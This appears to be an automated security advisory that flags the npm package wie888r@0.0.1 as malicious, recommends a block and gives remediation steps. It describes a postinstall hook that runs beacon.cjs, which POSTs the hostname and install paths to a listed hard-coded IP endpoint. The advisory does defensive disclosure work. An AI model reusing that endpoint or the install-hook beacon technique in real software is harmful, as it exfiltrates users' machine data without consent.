## Verdict summary
**Blocked & quarantined** — The remote recipient receives identifying information about the machine and package installation.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 0.0.1
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The postinstall hook activates code that collects host and installation metadata and sends it to a hard-coded external endpoint. This establishes an active data exfiltration behavior, so the package should be blocked.

## Security analysis

### Published attack-surface review

- **Summary:** Installation automatically sends host and package location metadata to an external IP address.

- **Trigger:** npm postinstall execution of beacon.cjs.

- **Impact:** The remote recipient receives identifying information about the machine and package installation.

- **Evidence paths:** package.json, beacon.cjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-09T02:46:09.406Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The beacon collects the hostname, install path, and working directory, then sends them in a POST request to a hard-coded endpoint.

- **Attack narrative:** During installation, the postinstall hook runs a beacon that sends the machine hostname and package location details to a hard-coded external IP address. This is automatic external data disclosure.

- **Rationale:** The postinstall hook activates code that collects host and installation metadata and sends it to a hard-coded external endpoint. This establishes an active data exfiltration behavior, so the package should be blocked.

- **Files touched:** package.json, beacon.cjs

- **Network endpoints:** http://185.158.107.175:8787/\_ah/dc

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json runs beacon.cjs automatically during postinstall., beacon.cjs sends a POST to a hard-coded external IP address., The beacon payload includes the machine hostname, install path, and working directory.

## Affected versions and remediation

This report applies to wie888r@0.0.1.

- Avoid installing wie888r@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
